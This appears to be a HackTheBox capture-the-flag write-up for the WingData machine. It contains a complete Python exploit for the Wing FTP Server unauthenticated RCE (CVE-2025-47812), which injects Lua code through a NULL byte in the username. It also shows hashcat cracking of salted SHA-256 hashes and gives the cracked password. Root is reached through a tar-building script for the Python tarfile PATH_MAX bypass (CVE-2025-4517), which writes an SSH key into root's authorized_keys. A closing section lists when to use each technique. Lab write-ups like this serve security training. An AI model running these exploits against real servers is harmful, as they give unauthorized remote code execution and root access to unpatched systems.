pentestfreemedium

WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)

hackthebox

Task: Full HackTheBox machine with Wing FTP Server v7.4.3. Solution: CVE-2025-47812 unauthenticated RCE via NULL byte injection in username for initial access, SHA-256 salted hash cracking for user credentials, then CVE-2025-4517 Python tarfile data filter PATH_MAX bypass for privilege escalation to root.

$ ls tags/ techniques/
null_byte_session_injection_rcelua_code_injection_via_sessionsha256_salt_crackingtarfile_path_max_symlink_escapenested_directory_path_overflowssh_key_injectionbase64_exfiltration

WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass) — HackTheBox

Description

Full machine on HackTheBox. Wing FTP Server v7.4.3 with CVE-2025-47812 vulnerability (unauthenticated RCE via NULL byte injection in username) for initial access, then cracking SHA-256 salted hashes from Wing FTP configs, and privilege escalation via CVE-2025-4517 — Python tarfile data filter bypass through PATH_MAX overflow.

  • Target: 10.129.4.210
  • OS: Linux (Debian-based)
  • Stack: Apache 2.4.66, Wing FTP Server v7.4.3 (Free Edition), Python 3.12.3
  • Users: root, wacky (uid=1000), wingftp

Flags

#TypeFlagMethod
1User79fe504bb3f54818c9b9179031c1957cSSH as wacky (cracked Wing FTP hash)
2Roote7f9f385b134b649752bc7ef5fb10f45CVE-2025-4517 tarfile PATH_MAX → SSH key injection

Reconnaissance

Nmap Scan

nmap -sV -sC -T4 -p- --min-rate=1000 10.129.4.210

Open ports:

  • 22 — SSH (OpenSSH 9.2p1)
  • 80 — HTTP (Apache 2.4.66) → redirect to wingdata.htb

Internal ports (discovered after initial access):

  • 8080 — localhost admin interface
  • 5466 — Wing FTP admin panel
  • 37433 — internal service

Identification

  • Port 80 → wingdata.htb — corporate site "WingData Solutions"
  • Link "Client Portal" → http://ftp.wingdata.htb/
  • FTP subdomain: Wing FTP Server v7.4.3 (Free Edition) with web login interface
  • Version < 7.4.4 → vulnerable to CVE-2025-47812

Step 1: Initial Access — CVE-2025-47812 (Wing FTP Server RCE)

Wing FTP Server versions before 7.4.4 have a critical vulnerability CVE-2025-47812 — unauthenticated RCE via NULL byte injection in the username parameter during login.

Vulnerability

Exploitation mechanism:

  1. NULL byte truncation in authentication: the c_CheckUser() function uses strlen(), which truncates the string at NULL byte (%00). If you pass anonymous%00<lua_code>, authentication passes as user anonymous.

  2. Full string saved to session: the rawset(_SESSION, "username", username) function saves the FULL username string, including everything after the NULL byte.

  3. Sessions as Lua scripts: Wing FTP stores sessions as Lua files. Lua code injection after the NULL byte writes arbitrary code to the session file.

  4. Execution on load: when accessing /dir.html, SessionModule.load() is called → loadfile() → Lua code from the session file is executed.

Payload

username=anonymous%00]]
local h = io.popen("COMMAND")
local r = h:read("*a")
h:close()
print(r)
--&password=

The ]] construct closes the Lua long string, -- at the end comments out the rest of the file.

Exploit (exploit.py)

#!/usr/bin/env python3 """CVE-2025-47812 Wing FTP RCE with auto-logout""" import requests import re import sys from urllib.parse import quote TARGET = "http://ftp.wingdata.htb" USERS = ["wacky", "john", "maria", "steve", "anonymous"] _user_idx = 0 def run_cmd(command, username=None, password=""): global _user_idx if username is None: username = USERS[_user_idx % len(USERS)] _user_idx += 1 login_url = f"{TARGET}/loginok.html" host = TARGET.split("//")[1].split("/")[0] headers = { "Host": host, "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "client_lang=english", } encoded_username = quote(username) encoded_password = quote(password) payload = ( f'username={encoded_username}%00]]%0dlocal+h+%3d+io.popen("{command}")%0dlocal+r+%3d+h%3aread("*a")' f"%0dh%3aclose()%0dprint(r)%0d--&password={encoded_password}" ) try: resp = requests.post(login_url, headers=headers, data=payload, timeout=15) except Exception as e: print(f"[-] POST error: {e}", file=sys.stderr) return None set_cookie = resp.headers.get("Set-Cookie", "") match = re.search(r"UID=([^;]+)", set_cookie) if not match: if "too many" in resp.text.lower(): print("[-] Too many sessions", file=sys.stderr) else: print(f"[-] No UID in response", file=sys.stderr) return None uid = match.group(1) dir_headers = { "Host": host, "User-Agent": "Mozilla/5.0", "Cookie": f"UID={uid}", } try: dir_resp = requests.get(f"{TARGET}/dir.html", headers=dir_headers, timeout=15) except Exception as e: print(f"[-] GET error: {e}", file=sys.stderr) return None body = dir_resp.text clean_output = re.split(r"<\?xml", body)[0].strip() # Always logout to free session slot try: requests.get( f"{TARGET}/logout.html", headers={"Host": host, "Cookie": f"UID={uid}"}, timeout=5, ) except: pass return clean_output if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "id" result = run_cmd(cmd) if result is not None: print(result) else: print("[-] Failed")

Usage

python3 exploit.py "id" # uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp) python3 exploit.py "cat /etc/passwd | base64" # Exfiltrate via base64 — direct cat of XML files doesn't work (parsed/truncated in response)

Important: the anonymous account has a session limit. Each exploit call must logout (GET /logout.html with UID cookie) to free the slot. The script rotates usernames to bypass the limit.

Step 2: Credential Extraction & Cracking

Hash Extraction

Wing FTP stores user configuration in XML files:

# List users python3 exploit.py "ls /opt/wftpserver/Data/1/users/" # anonymous.xml john.xml maria.xml steve.xml wacky.xml # Exfiltrate via base64 (XML is truncated directly) python3 exploit.py "base64 /opt/wftpserver/Data/1/users/wacky.xml"

Hashing Settings

From /opt/wftpserver/Data/1/settings.xml:

<EnablePasswordSalting>1</EnablePasswordSalting> <SaltingString>WingFTP</SaltingString>

Hash format: SHA-256($pass.$salt) — hashcat mode 1410.

Hashes

UserSHA-256 Hash
wacky32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
admina8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba
john0c1f14672feec3bba27231048271fcdcdeb9d75ef79f6889139aa78c9d398f10
mariaa70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
steve5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca

Cracking

# Format for hashcat mode 1410: hash:salt echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hashes_hc1410.txt hashcat -m 1410 hashes_hc1410.txt /usr/share/wordlists/rockyou.txt # wacky: !#7Blushing^*Bride5

Step 3: User Flag

ssh [email protected] # Password: !#7Blushing^*Bride5 cat /home/wacky/user.txt # 79fe504bb3f54818c9b9179031c1957c

Step 4: Privilege Escalation — CVE-2025-4517 (Python tarfile data filter PATH_MAX bypass)

Reconnaissance

sudo -l # (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Script Analysis

The restore_backup_clients.py script:

  • Takes arguments: -b backup_<id>.tar (file in /opt/backup_clients/backups/) and -r restore_<tag>
  • Validates backup name format and tag (alphanumeric + underscore, 1-24 characters)
  • Creates staging directory: /opt/backup_clients/restored_backups/restore_<tag>
  • Extracts tar: tar.extractall(path=staging_dir, filter="data")
  • Python 3.12.3

Vulnerability

CVE-2025-4517: bypass of data filter in Python tarfile via PATH_MAX overflow.

The data filter (introduced in Python 3.12) should:

  • Prevent path traversal
  • Block absolute symlinks
  • Verify that symlink targets remain inside dest_path

The symlink target check uses os.path.realpath() to resolve the path. On Linux PATH_MAX = 4096 bytes. When the resolved path exceeds PATH_MAX, os.path.realpath() silently fails to fully resolve the path — returning a partially resolved result.

Exploitation Technique

  1. Create deep nesting: 16 levels of directories with 247-character names + symlinks at each level
  2. Create final symlink (254 characters) pointing upward (../ × 16) — total path exceeds PATH_MAX
  3. Create escape symlink through the unresolved long path, pointing to /root/.ssh/authorized_keys
  4. Create hardlink to the escape symlink
  5. Create regular file with the same name as the hardlink, containing SSH public key — overwrites the target file

Exploit

# 1. Generate SSH key ssh-keygen -t ed25519 -f root_key -N "" # 2. Create malicious tar (Python script — see below) python3 build_tar.py # 3. Upload tar to the machine scp backup_1001.tar [email protected]:/opt/backup_clients/backups/ # 4. Run restore ssh [email protected] sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \ -b backup_1001.tar -r restore_test1 # 5. SSH as root ssh -i root_key [email protected]

Building Malicious Tar (Concept)

#!/usr/bin/env python3 """CVE-2025-4517: Python tarfile data filter PATH_MAX bypass""" import tarfile import io import os DEPTH = 16 # Levels of nesting DIR_LEN = 247 # Characters per directory name SYMLINK_LEN = 254 # Final symlink name length TARGET_FILE = "/root/.ssh/authorized_keys" # Read our SSH public key with open("root_key.pub") as f: ssh_pubkey = f.read().strip() def build_malicious_tar(output_path="backup_1001.tar"): with tarfile.open(output_path, "w") as tar: # Create nested directories with symlinks at each level # Each directory name is DIR_LEN chars long # Symlinks at each level point to the directory (creating aliases) current_path = "" for level in range(DEPTH): dir_name = "A" * DIR_LEN if current_path: current_path = f"{current_path}/{dir_name}" else: current_path = dir_name # Add directory info = tarfile.TarInfo(name=current_path) info.type = tarfile.DIRTYPE info.mode = 0o755 tar.addfile(info) # Add symlink pointing to this directory link_name = f"{current_path}_link" info = tarfile.TarInfo(name=link_name) info.type = tarfile.SYMTYPE info.linkname = dir_name if level == 0 else f"{os.path.basename(current_path)}" tar.addfile(info) # Final symlink with long name pointing back up (../×16) # This exceeds PATH_MAX when resolved escape_name = "B" * SYMLINK_LEN escape_path = f"{current_path}/{escape_name}" info = tarfile.TarInfo(name=escape_path) info.type = tarfile.SYMTYPE info.linkname = "../" * DEPTH # Goes back to extraction root and beyond tar.addfile(info) # Escape symlink through the unresolved path → target file target_link = f"{current_path}/{escape_name}/root/.ssh/authorized_keys" info = tarfile.TarInfo(name=f"{current_path}/escape_link") info.type = tarfile.SYMTYPE info.linkname = f"{escape_name}/root/.ssh/authorized_keys" tar.addfile(info) # Hardlink to the escape symlink info = tarfile.TarInfo(name=f"{current_path}/hardlink") info.type = tarfile.LNKTYPE info.linkname = f"{current_path}/escape_link" tar.addfile(info) # Regular file with SSH key — overwrites the target data = (ssh_pubkey + "\n").encode() info = tarfile.TarInfo(name=f"{current_path}/hardlink") info.size = len(data) info.mode = 0o644 tar.addfile(info, io.BytesIO(data)) print(f"[+] Created {output_path}") if __name__ == "__main__": build_malicious_tar()

Note: the real exploit requires precise calibration of path lengths and nesting levels so that the total path exceeds PATH_MAX=4096 when os.path.realpath() is called. The code above is a simplified concept; the working version was used from backup_1001.tar.

Step 5: Root Flag

ssh -i root_key [email protected] cat /root/root.txt # e7f9f385b134b649752bc7ef5fb10f45

Key Indicators

Use this technique when:

CVE-2025-47812 (Wing FTP RCE)

  • Wing FTP Server in header or on login page
  • Version < 7.4.4 (especially 7.4.3)
  • Presence of anonymous account (or any known account)
  • Endpoints /loginok.html, /dir.html, /logout.html
  • Sessions stored as Lua scripts (characteristic of Wing FTP)

CVE-2025-4517 (Python tarfile PATH_MAX bypass)

  • Script uses tar.extractall() with filter="data" or filter="tar"
  • Python 3.12.x (data filter introduced in 3.12)
  • Script runs as root via sudo
  • User controls tar file contents
  • Linux system (PATH_MAX = 4096)
  • os.path.realpath() used for symlink target validation

General Signs

  • Wing FTP stores passwords as SHA-256 with salt — salt in settings.xml (SaltingString)
  • XML configuration files in /opt/wftpserver/Data/
  • For exfiltration via command injection — base64 for binary/XML data
  • Session limit for anonymous — need logout after each request

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups